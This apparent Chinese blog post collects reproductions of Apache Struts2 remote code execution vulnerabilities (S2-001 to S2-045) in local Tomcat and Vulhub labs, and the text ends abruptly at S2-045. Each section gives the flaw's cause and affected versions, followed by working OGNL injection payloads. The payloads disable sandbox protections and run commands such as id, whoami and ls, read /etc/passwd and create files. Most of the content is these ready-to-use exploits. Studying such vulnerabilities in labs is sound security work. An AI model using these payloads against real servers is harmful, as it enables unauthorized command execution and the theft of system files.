前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Struts2漏洞复现合集

Struts2漏洞复现合集

作者头像
全栈程序员站长
发布2022-09-09 11:27:09
1.1K0
发布2022-09-09 11:27:09
举报
文章被收录于专栏:全栈程序员必看

大家好,又见面了,我是你们的朋友全栈君。

1. Struts2简介

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与Servlet API完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着非常大的变化,但是相对于WebWork,Struts 2的变化很小。

2.下载Struts2

各版本下载链接:
代码语言:javascript
复制
http://archive.apache.org/dist/struts/binaries/
下载环境:Windows7 x64(需要有java环境)
安装完jdk后,安装tomcat,默认下一步就行
image-20210707153215723
image-20210707153215723
image-20210707153101670
image-20210707153101670
image-20210707154204994
image-20210707154204994
这里上传两个war包到网站根目录下
Struts2漏洞复现合集
Struts2漏洞复现合集
运行bin目录下的tomcat8
image-20210707155057770
image-20210707155057770
两个war包即可被部署好(开启过程中上传war包可自动部署)
Struts2漏洞复现合集
Struts2漏洞复现合集
远程访问成功
Struts2漏洞复现合集
Struts2漏洞复现合集

3.漏洞复现(本地)

3.1 S2-057远程代码执行漏洞

image-20210707161420877
image-20210707161420877
对该页面进行抓包
image-20210707162017929
image-20210707162017929
验证漏洞是否存在,poc如下:
代码语言:javascript
复制
/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ipconfig%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action
image-20210707164954020
image-20210707164954020

3.2 S2-001远程执行代码漏洞

漏洞原理:
该漏洞因用户提交表单数据且验证失败时,后端会将用户之前提交的数据使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL表达式解析,所以可以直接构造Payload进行命令执行。
影响版本:
代码语言:javascript
复制
Struts 2.0.0 - 2.0.8
验证漏洞是否存在,输入
代码语言:javascript
复制
%{'zcc'}
返回zcc就是存在该漏洞
image-20210708095826223
image-20210708095826223
image-20210708095804739
image-20210708095804739
构造poc,填入password框:
代码语言:javascript
复制
Poc获取tomcat路径:
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
image-20210708101433289
image-20210708101433289
image-20210708135151541
image-20210708135151541

4.Vulhub漏洞复现

4.1 S2-001远程代码执行漏洞

开启struts2-001漏洞
image-20210708135805848
image-20210708135805848
验证是否开启
image-20210708135910127
image-20210708135910127
image-20210708140019492
image-20210708140019492
验证是否存在
bdbedc76421163ec734cee68dff927a
bdbedc76421163ec734cee68dff927a
322449e9453684ee7ee4226b8d99c39
322449e9453684ee7ee4226b8d99c39
获取tomcat路径
代码语言:javascript
复制
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
image-20210708140432678
image-20210708140432678
image-20210708140620554
image-20210708140620554
获取网站的真实路径
代码语言:javascript
复制
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
image-20210708140918567
image-20210708140918567
image-20210708140928436
image-20210708140928436
执行命令
代码语言:javascript
复制
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
image-20210708141252287
image-20210708141252287
image-20210708141301722
image-20210708141301722
代码语言:javascript
复制
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
image-20210708141616746
image-20210708141616746
image-20210708141958858
image-20210708141958858

4.2 S2-005远程代码执行漏洞

漏洞原理
s2-005漏洞的起源源于s2-003(受影响版本:低于Struts2.0.12),struts2会将http的每个参数名解析为ODNL语句执行(可理解为Java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这两个选项打开,S2-003的修补方式把自己上了一个锁,但是把钥匙插在了锁头上。
影响版本
代码语言:javascript
复制
Struts 2.0.0-2.1.8.1
绕过过程
代码语言:javascript
复制
1. 在S2-003中\u0023用于绕过struts2的过滤器#
2. 在S2-003 struts2添加安全模式(沙盒)之后
3. 在S2-005中,使用OGNL表达式关闭安全模式并再次绕过
漏洞启动
image-20210708144036310
image-20210708144036310
Struts2漏洞复现合集
Struts2漏洞复现合集
构建poc,在tmp目录下创建一个success文件
代码语言:javascript
复制
(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
image-20210708145030165
image-20210708145030165
image-20210708152324774
image-20210708152324774
这里我找了半天success文件,发现tmp目录下没有,后面经yb妹妹提醒才知道,是在docker底层目录中,是我菜鸡了。
执行命令
image-20210708162106652
image-20210708162106652
image-20210708162136530
image-20210708162136530

4.3 S2-007远程代码执行漏洞

漏洞原理
age来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞。
影响版本
代码语言:javascript
复制
2.0.0 - 2.2.3
启动漏洞
Struts2漏洞复现合集
Struts2漏洞复现合集
访问页面
image-20210708163733316
image-20210708163733316
image-20210708163520607
image-20210708163520607
这里如果访问不了的话,可以在这里清理一下缓存,即可成功访问
谷歌和火狐的分别如下操作
image-20210708163646768
image-20210708163646768
image-20210708163448471
image-20210708163448471
验证漏洞
在年龄中输入非数字类型点击登录,年龄框中的value变成11,即可证明漏洞存在!

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5TlQx5IR-1626014278332)(C:/Users/zcc/AppData/Roaming/Typora/typora-user-images/image-20210708164156162.png)]

image-20210708164207663
image-20210708164207663
查找底层目录信息
poc
代码语言:javascript
复制
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27
image-20210708164825548
image-20210708164825548

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hxzD4rti-1626014278333)(C:/Users/zcc/AppData/Roaming/Typora/typora-user-images/image-20210708164839447.png)]

枚举zcc.txt信息
poc
代码语言:javascript
复制
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27cat%20/zcc/zcc.txt%27%29.getInputStream%28%29%29%29+%2B+%27
image-20210708165538612
image-20210708165538612
image-20210708165612582
image-20210708165612582
可以执行任意代码的exp
代码语言:javascript
复制
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExe
cution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
image-20210708170330738
image-20210708170330738
image-20210708170344336
image-20210708170344336
代码语言:javascript
复制
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29+%2B+%27
image-20210708170521479
image-20210708170521479
image-20210708170709366
image-20210708170709366
查看日志
image-20210708170948120
image-20210708170948120

4.4 S2-008远程代码执行漏洞

漏洞描述
S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋。
影响版本
代码语言:javascript
复制
2.1.0 - 2.3.1
开启漏洞

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZNSgGFTb-1626014278336)(C:/Users/zcc/AppData/Roaming/Typora/typora-user-images/image-20210708171138120.png)]

image-20210708171158605
image-20210708171158605
poc
代码语言:javascript
复制
/devmode.action?debug=command&expression=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=whoami
image-20210708171549820
image-20210708171549820

4.5 S2-009远程代码执行漏洞

漏洞描述
OGNL提供了广泛的表达式评估功能等功能。该漏洞允许恶意用户绕过ParametersInterceptor内置的所有保护(正则表达式,拒绝方法调用),从而能够将任何暴露的字符串变量中的恶意表达式注入进行进一步评估。
在S2-003和S2-005中已经解决了类似的行为,但事实证明,基于列入可接受的参数名称的结果修复仅部分地关闭了该漏洞。
ParametersInterceptor中的正则表达式将top [‘foo’](0)作为有效的表达式匹配,OGNL将其作为(top [‘foo’])(0)处理,并将“foo”操作参数的值作为OGNL表达式求值。这使得恶意用户将任意的OGNL语句放入由操作公开的任何String变量中,并将其评估为OGNL表达式,并且由于OGNL语句在HTTP参数中,攻击者可以使用黑名单字符(例如#)禁用方法执行并执行任意方法,绕过ParametersInterceptor和OGNL库保护。
影响版本
代码语言:javascript
复制
Struts 2.1.0 - 2.3.1.1
漏洞启动
image-20210708173059857
image-20210708173059857
image-20210708173543165
image-20210708173543165
验证漏洞是否存在,poc-1
代码语言:javascript
复制
/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
image-20210709085739301
image-20210709085739301
image-20210709090303111
image-20210709090303111
构造poc-2,枚举/etc/passwd
代码语言:javascript
复制
http://192.168.9.234:8080/ajax/example5?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
image-20210709090654277
image-20210709090654277
构造poc-3,创建用户执行命令
代码语言:javascript
复制
http://192.168.9.234:8080/ajax/example5?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boo%20lean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%22touch%20/tmp/dayu009%22).ge%20tInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%2%203kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27m%20eh%27)]
image-20210709091120046
image-20210709091120046
image-20210709091156305
image-20210709091156305
Poc-4
代码语言:javascript
复制
z[%28name%29%28%27meh%27%29]&age=12313&name=(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#s=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#s.println(#d),#s.close())(meh)
image-20210709091552051
image-20210709091552051
image-20210709094726752
image-20210709094726752

4.6 S2-012远程代码执行漏洞

漏洞原理
如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量
代码语言:javascript
复制
xml
<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>
这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。
影响版本
代码语言:javascript
复制
2.1.0 - 2.3.13
启动漏洞
image-20210709100841677
image-20210709100841677
image-20210709100857766
image-20210709100857766
poc-1
代码语言:javascript
复制
%25%7B%23a%3D(new java.lang.ProcessBuilder(new java.lang.String%5B%5D%7B%22%2Fbin%2Fbash%22%2C%22-c%22%2C %22ls%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew java.io.InputStreamReader(%23b)%2C%23d%3Dnew java.io.BufferedReader(%23c)%2C%23e%3Dnew char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ka1u3cjR-1626014278341)(C:/Users/zcc/AppData/Roaming/Typora/typora-user-images/image-20210709103244127.png)]

image-20210709103433482
image-20210709103433482
需要url编码,否则500
poc2
代码语言:javascript
复制
%25%7B%23a%3D(new java.lang.ProcessBuilder(new java.lang.String%5B%5D%7B%22cat%22%2C %22%2Fetc%2Fpasswd%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew java.io.InputStreamReader(%23b)%2C%23d%3Dnew java.io.BufferedReader(%23c)%2C%23e%3Dnew char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D
image-20210709103956924
image-20210709103956924

4.7 S2-013远程代码执行漏洞

漏洞原理
struts2的标签中 <s:a><s:url> 都有一个 includeParams 属性,可以设置成如下值
  1. none – URL中包含任何参数(默认)
  2. get – 仅包含URL中的GET参数
  3. all – 在URL中包含GET和POST参数
includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。
此时<s:a><s:url>尝试去解析原始请求参数时,会导致OGNL表达式的执行
影响版本
代码语言:javascript
复制
2.0.0 - 2.3.14
启动漏洞
image-20210709104435576
image-20210709104435576
image-20210709105117366
image-20210709105117366
poc-1
代码语言:javascript
复制
http://192.168.9.234:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
image-20210709105256449
image-20210709105256449
代码语言:javascript
复制
http://192.168.9.234:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27ls%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
image-20210709110403375
image-20210709110403375

4.8 S2-015远程代码执行漏洞

漏洞原理
Apache Struts 2是用于开发JavaEE Web应用程序的开源Web应用框架。Apache Struts 2.0.0至2.3.14.2版本中存在远程命令执行漏洞。远程攻击者可借助带有‘${}’和‘%{}’序列值(可导致判断OGNL代码两次)的请求,利用该漏洞执行任意OGNL代码。
影响版本
代码语言:javascript
复制
Struts 2.0.0 - 2.3.14.2
启动漏洞
image-20210709111207072
image-20210709111207072
image-20210709111228374
image-20210709111228374
验证漏洞是否存在poc-1(这里是经过url编码的)
代码语言:javascript
复制
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream())%2C%23q%7D.action
image-20210709140430412
image-20210709140430412
代码语言:javascript
复制
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredFiel
d%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.comm
ons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%2C%23q%7D.action
image-20210709140550955
image-20210709140550955

4.9 S2-016远程代码执行漏洞

漏洞原理
在struts2中,DefaultActionMapper类支持以”action:”、“redirect:”、”redirectAction:”作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。
影响版本
代码语言:javascript
复制
Struts 2.0.0 – 2.3.15
启动漏洞
image-20210709141210926
image-20210709141210926
image-20210709142755893
image-20210709142755893
验证漏洞是否存在-poc-1
代码语言:javascript
复制
http://192.168.9.234:8080/index.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D
image-20210709143222540
image-20210709143222540
poc-2
代码语言:javascript
复制
http://192.168.9.234:8080/index.action?redirect:%24%7B%23req%3D%23context.get(%27co%27%2B%27m.open%27%2B%27symphony.xwo%27%2B%27rk2.disp%27%2B%27atcher.HttpSer%27%2B%27vletReq%27%2B%27uest%27)%2C%23resp%3D%23context.get(%27co%27%2B%27m.open%27%2B%27symphony.xwo%27%2B%27rk2.disp%27%2B%27atcher.HttpSer%27%2B%27vletRes%27%2B%27ponse%27)%2C%23resp.setCharacterEncoding(%27UTF-8%27)%2C%23ot%3D%23resp.getWriter ()%2C%23ot.print(%27web%27)%2C%23ot.print(%27path%3A%27)%2C%23ot.print(%23req.getSession().getServletContext().getRealPath(%27%2F%27))%2C%23ot.flush()%2C%23ot.close()%7D
image-20210709144813571
image-20210709144813571

4.10 S2-019远程代码执行漏洞

漏洞原理
要求开发者模式,且poc第一个参数是debug,触发点在DebuggingInterceptor上,查看intercept函数,从debug参数获取调试模式,如果模式是command,则把expression参数放到stack.findValue中,最终放到了ognl.getValue中。
影响版本
代码语言:javascript
复制
Struts 2.0.0 - 2.3.15.1
启动漏洞
Struts2漏洞复现合集
Struts2漏洞复现合集
Struts2漏洞复现合集
Struts2漏洞复现合集
验证漏洞是否存在 poc
代码语言:javascript
复制
?debug=command&expression=#a=(new java.lang.ProcessBuilder('id')).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b)
,#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRe
sponse'),#out.getWriter().println('dbapp:'+new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close()
进行url编码之后
代码语言:javascript
复制
?%64%65%62%75%67=%63%6f%6d%6d%61%6e%64&%65%78%70%72%65%73%73%69%6f%6e=%23%61%3d%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%27%69%64%27%29%29%2e%73%74%61%72%74%28%29%2c%23%62=%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%63=%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%63%29%2c%23%65=%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%64%2e%72%65%61%64%28%23%65%29%2c%23%6f%75%74=%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%27%29%2c%23%6f%75%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%70%72%69%6e%74%6c%6e%28%27%64%62%61%70%70%3a%27%2b%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%23%65%29%29%2c%23%6f%75%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%66%6c%75%73%68%28%29%2c%23%6f%75%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%63%6c%6f%73%65%28%29
image-20210711141906515
image-20210711141906515

4.11 S2-029远程代码执行漏洞

漏洞原理
Struts2的标签库使用OGNL表达式来访问ActionContext中的对象数据。为了能够访问到ActionContext中的变量,Struts2将ActionContext设置为OGNL的上下文,并将OGNL的跟对象加入ActionContext中。
在Struts2中,如下的标签就调用了OGNL进行取值
代码语言:javascript
复制
<p>parameters: <s:property value="#parameters.msg" /></p>
struts2会解析value中的值,并当作OGNL表达式进行执行,获取到parameters对象的msg属性。S2-029依然是依靠OGNL进行远程代码执行。
影响版本
代码语言:javascript
复制
Struts 2.0.0 - 2.3.24.1ҁӧ۱ೡ2.3.20.3
启动漏洞

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FKTVClMq-1626014278348)(C:/Users/zcc/AppData/Roaming/Typora/typora-user-images/image-20210711142822657.png)]

image-20210711142833577
image-20210711142833577
poc
代码语言:javascript
复制
http://192.168.0.109:8889/default.action?message=(%23_memberAccess[%27allowPrivateAccess%27]=true,%23_memberAccess[%27allowProtectedAccess%27]=true,%23_memberAccess[%27excludedPackageNamePatterns%27]=%23_memberAccess[%27acceptProperties%27],%23_memberAccess[%27excludedClasses%27]=%23_memberAccess[%27acceptProperties%27],%23_memberAccess[%27allowPackageProtectedAccess%27]=true,%23_memberAccess[%27allowStaticMethodAccess%27]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream()))
image-20210711143443386
image-20210711143443386

4.12 S2-032远程代码执行漏洞

漏洞原理
当启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式。 method: Action 前缀去调用声明为 public 的函数,只不过在低版本中 Strtus2 不会对 name 方法值做 OGNL 计算,而在高版本中会。
影响版本
代码语言:javascript
复制
Struts 2.3.20-Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)
启动漏洞
image-20210711144332238
image-20210711144332238
image-20210711144420429
image-20210711144420429
poc-1
代码语言:javascript
复制
http://192.168.0.109:8080/memoindex.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context[%23parameters.obj[0]].getWriter().print(%23parameters.content[0]%2b602%2b53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10010
image-20210711144753479
image-20210711144753479
返回1001060253718则代表可代码执行!
poc-2(查看id)
代码语言:javascript
复制
http://192.168.0.109:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
image-20210711144938819
image-20210711144938819
poc-3(创建文件夹)
代码语言:javascript
复制
http://192.168.0.109:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=touch%20/tmp/zcc
image-20210711145130656
image-20210711145130656

4.13 S2-045远程代码执行漏洞

漏洞原理
在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行。恶意用户可在上传文件时通过修改HTTP请求头中的Content—Type值来触发该漏洞,进而执行系统命令。
影响版本
代码语言:javascript
复制
Struts2.3.5 – 2.3.31
Struts2.5 – 2.5.10
启动漏洞
image-20210711150010054
image-20210711150010054
image-20210711150027817
image-20210711150027817
poc-1
代码语言:javascript
复制
%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(100*5000)).(#ros.flush())}
image-20210711150314872
image-20210711150314872
poc-2
代码语言:javascript
